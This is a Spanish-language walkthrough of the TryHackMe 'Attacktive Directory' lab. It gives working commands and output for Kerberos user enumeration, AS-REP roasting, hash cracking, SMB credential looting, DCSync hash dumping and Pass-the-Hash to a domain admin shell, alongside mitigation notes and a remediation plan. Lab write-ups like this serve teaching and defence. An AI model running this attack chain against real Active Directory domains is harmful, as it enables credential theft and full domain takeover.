Resumen Ejecutivo
Attacktive Directory es la room de TryHackMe de Spookysec Ltd. — una introducción práctica al pentesting de Active Directory que encadena varias de las técnicas más relevantes del arsenal AD moderno. Lo que hace interesante a esta caja desde el punto de vista técnico es que ningún finding se debe a vulnerabilidades sin parchear: todo el compromiso se origina en misconfiguraciones, exceso de privilegios y contraseñas débiles. Exactamente lo que te vas a encontrar en el 80% de los entornos reales.
La cadena de ataque es elegante por su simplicidad. Sin ninguna credencial inicial, se enumeran usuarios válidos del dominio aprovechando el comportamiento diferencial del protocolo Kerberos. Una cuenta de servicio con pre-autenticación deshabilitada permite obtener un hash offline. Ese hash se crackea en segundos con rockyou. Las credenciales dan acceso a un share SMB con un fichero de credenciales en Base64 (literal, no cifrado). Esas credenciales tienen permisos DCSync, lo que permite volcar todo el NTDS.dit. Con el hash del Domain Administrator se hace Pass-the-Hash y tenemos control total del dominio.
Kerberos user enum (kerbrute) → AS-REP Roasting (svc-admin) → Hash cracking (hashcat) → SMB enum → backup share → Base64 decode → DCSync (backup account) → NTDS.dit dump → Pass-the-Hash (Administrator) → Domain Compromise
Nmap — Identificación del Domain Controller
El escaneo inicial confirma que el objetivo es un Domain Controller. El conjunto de puertos es el mismo que en cualquier DC Windows: DNS, Kerberos, LDAP, SMB, WinRM. Cada uno de estos servicios es un posible vector de entrada.
nmap -p- --open -sS --min-rate 5000 -n -Pn 10.10.X.X PORT STATE SERVICE 53/tcp open domain 88/tcp open kerberos-sec 135/tcp open msrpc 139/tcp open netbios-ssn 389/tcp open ldap 445/tcp open microsoft-ds 464/tcp open kpasswd5 593/tcp open http-rpc-epmap 636/tcp open ldapssl 3268/tcp open globalcatLDAP 3269/tcp open globalcatLDAPssl 3389/tcp open ms-wbt-server 5985/tcp open wsman ← WinRM disponible 9389/tcp open adws
# Detección de versiones en puertos clave nmap -sCV -p 88,389,445,5985 10.10.X.X 88/tcp open kerberos-sec Microsoft Windows Kerberos 389/tcp open ldap Microsoft Windows AD LDAP ldapServiceName: spookysec.local:attacktivedirectory$@SPOOKYSEC.LOCAL rootDomainNamingContext: DC=spookysec,DC=local 445/tcp open microsoft-ds Windows Server 2019 Standard 17763 smb2-security-mode: 3.1.1: Message signing enabled and required ← SMB signing activo # Añadir al /etc/hosts echo "10.10.X.X spookysec.local AttacktiveDirectory.spookysec.local" >> /etc/hosts
SMB signing activo (y requerido) cierra la puerta a ataques de relay NTLM clásicos como Responder + ntlmrelayx. Sin embargo, esto no afecta a las técnicas que usaremos — Kerberos user enum y AS-REP Roasting operan directamente sobre el puerto 88, no sobre SMB.
Kerbrute — Enumeración de usuarios sin autenticación
Kerberos tiene un "defecto de diseño" bien conocido: el Key Distribution Center (KDC) responde de manera diferente ante una petición AS-REQ para un usuario válido versus uno inválido. Para un usuario válido que tiene pre-autenticación activada, el KDC responde con KDC_ERR_PREAUTH_REQUIRED. Para un usuario que no existe en el directorio, responde con KDC_ERR_C_PRINCIPAL_UNKNOWN. Esta diferencia permite confirmar si un username existe sin necesitar contraseña ni ninguna otra credencial.
Kerbrute automatiza esta consulta a alta velocidad. Uso la wordlist userlist.txt del repositorio del room, que contiene miles de nombres de usuario comunes:
./kerbrute_linux_amd64 userenum \ --dc spookysec.local \ -d spookysec.local \ userlist.txt \ -t 40 __ __ __ / /_____ _____/ /_ _______ __/ /____ / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \ / ,< / __/ / / /_/ / / / /_/ / /_/ __/ /_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/ Version: v1.0.3 - Ronnie Flathers @ropnop 2026/02/07 12:32:00 > Using KDC(s): spookysec.local:88 [+] VALID USERNAME: james@spookysec.local [+] VALID USERNAME: svc-admin@spookysec.local [+] VALID USERNAME: James@spookysec.local [+] VALID USERNAME: robin@spookysec.local [+] VALID USERNAME: darkstar@spookysec.local [+] VALID USERNAME: administrator@spookysec.local [+] VALID USERNAME: backup@spookysec.local [+] VALID USERNAME: paradox@spookysec.local [+] VALID USERNAME: JAMES@spookysec.local [+] VALID USERNAME: ori@spookysec.local [+] VALID USERNAME: DARKSTAR@spookysec.local [+] VALID USERNAME: Robin@spookysec.local Done! Tested 73317 usernames (16 valid) in 312.539 seconds
16 usuarios válidos. De este listado, dos me interesan especialmente: svc-admin (el nombre sugiere cuenta de servicio con posibles privilegios) y backup (las cuentas de backup suelen tener permisos de replicación de directorio). Guardo los usuarios en un fichero limpio para el siguiente paso:
# Extraer solo usernames para GetNPUsers.py cat kerbrute_output.txt | grep "VALID USERNAME" | awk '{print $7}' | \ cut -d@ -f1 | sort -u > valid_users.txt cat valid_users.txt administrator backup darkstar james ori paradox robin svc-admin
Este comportamiento es intrínseco al protocolo Kerberos y no puede deshabilitarse sin romper la funcionalidad. Sin embargo, se puede detectar monitorizando Event ID 4768 (AS Request) con volumen anómalo, e implementar rate limiting en el puerto 88 a nivel de red o firewall.
AS-REP Roasting — Hash sin contraseña previa
Kerberos pre-authentication es el mecanismo que impide que alguien solicite un ticket cifrado para una cuenta sin primero demostrar que conoce su contraseña. Cuando este mecanismo está desactivado (flag UF_DONT_REQUIRE_PREAUTH en el objeto de usuario AD), el KDC devuelve directamente un AS-REP cifrado con la clave derivada de la contraseña del usuario — sin verificar si el solicitante conoce esa clave.
Esto significa que cualquier atacante en la red puede pedir ese AS-REP para cuentas con este flag activo, y luego intentar crackear el hash offline. El ataque se llama AS-REP Roasting (análogo a Kerberoasting pero para pre-auth deshabilitada).
Uso GetNPUsers.py de Impacket con la lista de usuarios válidos que obtuve antes:
python3 GetNPUsers.py spookysec.local/ \ -usersfile valid_users.txt \ -no-pass \ -dc-ip 10.10.X.X \ -outputfile hashes.txt Impacket v0.11.0 - Copyright 2023 Fortra [-] User administrator doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User backup doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User darkstar doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User james doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User paradox doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User robin doesn't have UF_DONT_REQUIRE_PREAUTH set $krb5asrep$23$svc-admin@SPOOKYSEC.LOCAL:a62a1f7d5c5e47f... [hash completo guardado en hashes.txt]
Bingo. Solo svc-admin tiene la pre-autenticación deshabilitada. El hash obtenido tiene el formato $krb5asrep$23$... — el 23 indica etype RC4-HMAC, el tipo más crackeable. Si fuera etype 18 (AES256) tardaría mucho más en crackear.
La pre-autenticación Kerberos debería estar habilitada en TODAS las cuentas sin excepción. Si una aplicación legacy requiere este flag desactivado, la cuenta debería tener una contraseña de al menos 25 caracteres generada aleatoriamente y rotada periódicamente. Auditar con:
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true}
Hashcat — Cracking offline del hash AS-REP
El hash AS-REP está cifrado con RC4-HMAC usando la contraseña del usuario como clave. El cracking offline consiste en probar contraseñas candidatas, derivar la clave correspondiente y ver si descifra correctamente el hash. Con una GPU moderna y rockyou.txt (14 millones de contraseñas), este proceso dura segundos para contraseñas débiles.
Hashcat usa el modo 18200 para hashes AS-REP Roasting:
hashcat -m 18200 hashes.txt /usr/share/wordlists/rockyou.txt \ --force hashcat (v6.2.6) starting... Host memory required for this attack: 1 MB Dictionary cache built: * Filename..: /usr/share/wordlists/rockyou.txt * Passwords.: 14344385 * Bytes.....: 139921507 $krb5asrep$23$svc-admin@SPOOKYSEC.LOCAL:a62a1f7d5c...: management2005 Session..........: hashcat Status...........: Cracked Hash.Mode........: 18200 (Kerberos 5, etype 23, AS-REP) Time.Started.....: Tue Feb 07 2026 Time.Estimated...: Tue Feb 07 2026 (00:00:08) Guess.Base.......: File (/usr/share/wordlists/rockyou.txt) Speed.#1.........: 1200.0 kH/s (8.35ms) Recovered........: 1/1 (100.00%) Digests
8 segundos. La contraseña management2005 es trivialmente débil — un año + una palabra de diccionario. Esto confirma que las políticas de contraseñas del dominio no son lo suficientemente estrictas. Tengo credenciales válidas: svc-admin:management2005.
RC4-HMAC (etype 23) es el tipo de cifrado más débil soportado por Kerberos, heredado de Windows 2000. Si el dominio estuviera configurado para requerir AES128/AES256 (
msDS-SupportedEncryptionTypes), el hash sería mucho más difícil de crackear. En entornos modernos se debería deshabilitar RC4 cuando sea posible.
SMB — Enumeración de shares con svc-admin
Con credenciales válidas, enumero los shares accesibles. SMB signing estaba activo pero eso no nos impide hacer enumeración autenticada — solo bloquea los ataques de relay.
# Listar shares con credenciales de svc-admin smbclient -L //10.10.X.X -U svc-admin%management2005 Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin backup Disk C$ Disk Default share IPC$ IPC Remote IPC NETLOGON Disk Logon server share SYSVOL Disk Logon server share
Hay un share no estándar: backup. El nombre es muy sugerente en el contexto de un pentest AD — las cuentas de backup suelen tener permisos de replicación, y los shares de backup suelen contener datos sensibles. Accedo:
smbclient //10.10.X.X/backup -U svc-admin%management2005 smb: \> ls . D 0 Sat Apr 4 19:08:39 2020 .. D 0 Sat Apr 4 19:08:39 2020 backup_credentials.txt A 48 Sat Apr 4 19:08:53 2020 8247551 blocks of size 4096, 3567263 blocks available smb: \> get backup_credentials.txt getting file \backup_credentials.txt of size 48
El fichero pesa 48 bytes — muy pequeño. Probablemente un token o credenciales codificadas. Lo descargo para analizarlo.
El share
backup era accesible por svc-admin, una cuenta de servicio de aplicación sin relación con la función de backup. Aplicar el principio de mínimo privilegio a shares SMB es fundamental: solo las cuentas con necesidad legítima deberían tener acceso.
backup_credentials.txt — Credenciales en Base64
Abro el fichero descargado. El contenido es claramente Base64 — esa combinación de caracteres alfanuméricos con padding de = es inconfundible:
$ cat backup_credentials.txt
YmFja3VwQHNwb29reXNlYy5sb2NhbDpiYWNrdXAyNTE3ODYw
# Decodificar Base64 $ echo 'YmFja3VwQHNwb29reXNlYy5sb2NhbDpiYWNrdXAyNTE3ODYw' | base64 -d backup@spookysec.local:backup2517860
Las credenciales de backup@spookysec.local en texto claro, solo "cifradas" con Base64 — que no es cifrado, es solo codificación. Cualquier persona con acceso al share (que ya de por sí era demasiado permisivo) obtiene las credenciales de la cuenta backup.
Ahora la pregunta clave: ¿qué puede hacer la cuenta backup en el dominio? Las cuentas de backup frecuentemente tienen permisos de replicación de directorio (DS-Replication-Get-Changes y DS-Replication-Get-Changes-All) necesarios para hacer copias del Active Directory. Esos permisos son exactamente los que se necesitan para un ataque DCSync.
Almacenar credenciales en un fichero de red — aunque sea codificado en Base64 — es equivalente a dejarlo en texto claro para cualquiera con acceso al share. Las credenciales privilegiadas deben almacenarse en soluciones dedicadas como CyberArk, HashiCorp Vault o al menos Windows Credential Manager con protección DPAPI.
DCSync — Volcado del NTDS.dit completo
DCSync es una técnica que abusa del protocolo de replicación de Active Directory (MS-DRSR). Cuando un DC necesita sincronizarse con otro, usa el mecanismo DRSUAPI para solicitar los datos de directorio, incluyendo los hashes de contraseñas. Si una cuenta tiene los permisos Replicating Directory Changes y Replicating Directory Changes All, puede simular ser un DC y solicitar esa misma información.
secretsdump.py de Impacket implementa DCSync. Con las credenciales de backup:
python3 secretsdump.py -just-dc backup@10.10.X.X Impacket v0.11.0 - Copyright 2023 Fortra Password: backup2517860 [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash) [*] Using the DRSUAPI method to get NTDS.DIT secrets Administrator:500:aad3b435b51404eeaad3b435b51404ee:0e0363213e37b94221497260b0bcb4fc::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: krbtgt:502:aad3b435b51404eeaad3b435b51404ee:0938c1580796561bc1d3161a2f76dcc2::: spookysec.local\skidy:1103:aad3b435b51404eeaad3b435b51404ee:5fe9353d4b96cc410b62cb7e11c57ba4::: spookysec.local\breakerofthings:1104:aad3b435b51404eeaad3b435b51404ee:5fe9353d4b96cc410b62cb7e11c57ba4::: spookysec.local\james:1105:aad3b435b51404eeaad3b435b51404ee:9448bf6aba63d154eb0c665071d1c518::: spookysec.local\svc-admin:1103:aad3b435b51404eeaad3b435b51404ee:fc0f1e5359e372aa1f69147375ba6809::: spookysec.local\backup:1118:aad3b435b51404eeaad3b435b51404ee:19741bde08a5b52a566697e0c1e9a64c::: [...] [*] KERBEROS keys grabbed Administrator:aes256-cts-hmac-sha1-96:... Administrator:aes128-cts-hmac-sha1-96:... [*] Cleaning up...
Todos los hashes NTLM del dominio, incluyendo el hash del Administrator: 0e0363213e37b94221497260b0bcb4fc. Con este hash puedo autenticarme como Administrator en cualquier sistema del dominio usando Pass-the-Hash — sin necesitar crackear la contraseña.
Los permisos
DS-Replication-Get-Changes y DS-Replication-Get-Changes-All deben estar limitados exclusivamente a objetos Domain Controller y soluciones de backup legítimas debidamente auditadas. Detectar con Event ID 4662 (acceso a objeto con GUID de replicación) o con BloodHound buscando DCSync principals.
Pass-the-Hash — Domain Administrator sin conocer la contraseña
Pass-the-Hash (PtH) es una técnica que aprovecha el hecho de que el protocolo NTLM no requiere la contraseña en texto claro para autenticarse — acepta directamente el hash. En WinRM (que soporta autenticación NTLM), esto significa que puedo obtener una shell como Administrator usando solo el hash, sin necesidad de crackear nada.
evil-winrm -i 10.10.X.X \ -u Administrator \ -H 0e0363213e37b94221497260b0bcb4fc Evil-WinRM shell v3.9 Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\Administrator\Documents> whoami spookysec\administrator *Evil-WinRM* PS C:\Users\Administrator\Documents> hostname AttacktiveDirectory
# Recoger flags *Evil-WinRM* PS C:\Users\svc-admin\Desktop> type user.txt.txt TryHackMe{K3rb3r0s_Pr3_4uth} *Evil-WinRM* PS C:\Users\backup\Desktop> type PrivEsc.txt TryHackMe{B4ckM3UpSc0tty!} *Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt TryHackMe{4ctiveD1rectoryM4st3r}
Dominio comprometido. Con acceso a Administrator, tengo control total: puedo crear cuentas, modificar GPOs, acceder a cualquier sistema del dominio, y persistir de múltiples formas (Golden Ticket con el hash de krbtgt, cuentas backdoor, etc.).
PtH es difícil de eliminar completamente porque es una característica del protocolo NTLM. Las mitigaciones más efectivas: desplegar Microsoft LAPS para contraseñas únicas en cada equipo, habilitar Protected Users security group para cuentas privilegiadas (fuerza Kerberos y deshabilita NTLM para esas cuentas), e implementar Credential Guard en Windows 10/2016+ para proteger los hashes en memoria.
Hallazgos Técnicos
| # | Severidad | Hallazgo | CVSS 3.1 | CWE | MITRE |
|---|---|---|---|---|---|
| 1 | High | AS-REP Roasting — svc-admin con pre-auth Kerberos deshabilitada | 8.1 | CWE-287 | T1558.004 |
| 2 | High | Contraseña débil en cuenta de servicio svc-admin (management2005) | 8.8 | CWE-521 | T1110.002 |
| 3 | High | Share "backup" accesible con credenciales de backup en Base64 | 8.8 | CWE-732 | T1552.001, T1003.003 |
| 4 | High | Hash de Administrator reutilizado como admin local (Pass-the-Hash) | 9.0 | CWE-255 | T1550.002 |
| 5 | High | Contraseñas débiles en múltiples cuentas de dominio (NTLM crackeables) | 8.1 | CWE-521 | T1110.002 |
| 6 | Medium | Enumeración de usuarios de dominio vía Kerberos (sin autenticación) | 5.3 | CWE-203 | T1087.002 |
| 7 | Info | Ausencia total de capacidades de detección y respuesta (SIEM/EDR) | — | CWE-693 | — |
Credenciales Obtenidas
svc-admin : management2005
# backup — Texto claro en backup_credentials.txt (Base64 decoded)
backup : backup2517860
# Administrator — NTLM hash via DCSync (secretsdump.py)
Administrator NTLM: 0e0363213e37b94221497260b0bcb4fc
svc-admin flag → TryHackMe{K3rb3r0s_Pr3_4uth}
backup flag → TryHackMe{B4ckM3UpSc0tty!}
root.txt → TryHackMe{4ctiveD1rectoryM4st3r}
Resumen de Remediación
- [Inmediata] Resetear contraseñas de
svc-adminybackupa passphrases de 25+ caracteres generadas aleatoriamente. Forzar reset de todos los usuarios del dominio dado el volcado completo del NTDS.dit. - [Inmediata] Invalidar todos los tickets Kerberos actuales reseteando la contraseña de
krbtgtdos veces (con intervalo de 10 horas entre resets). - [Inmediata] Habilitar Kerberos pre-autenticación en
svc-adminy auditar todas las cuentas conDoesNotRequirePreAuthactivo. - [Corto plazo] Eliminar el fichero
backup_credentials.txtdel share. Restringir acceso al sharebackupsolo a las cuentas que lo necesiten explícitamente. Auditar permisos de todos los shares. - [Corto plazo] Auditar y eliminar permisos DCSync de cualquier cuenta que no sea un Domain Controller o solución de backup documentada. BloodHound puede identificar todos los principals con DCSync rights.
- [Medio plazo] Desplegar Microsoft LAPS para garantizar contraseñas de admin local únicas en cada equipo. Esto rompe la cadena de Pass-the-Hash lateral.
- [Medio plazo] Implementar Fine-Grained Password Policy (FGPP) para cuentas de servicio: mínimo 25 caracteres, complejidad máxima, rotación periódica.
- [Medio plazo] Usar Lithnet Password Protection o DSInternals para bloquear contraseñas presentes en bases de datos de brechas y realizar auditorías periódicas de calidad de contraseñas.
- [Largo plazo] Desplegar SIEM con alertas en: Event ID 4768 tipo 0x0 (AS-REP sin pre-auth), Event ID 4662 con GUID de replicación (DCSync), Event ID 4624 Logon Type 3 con hash (PtH). Implementar EDR en todos los endpoints.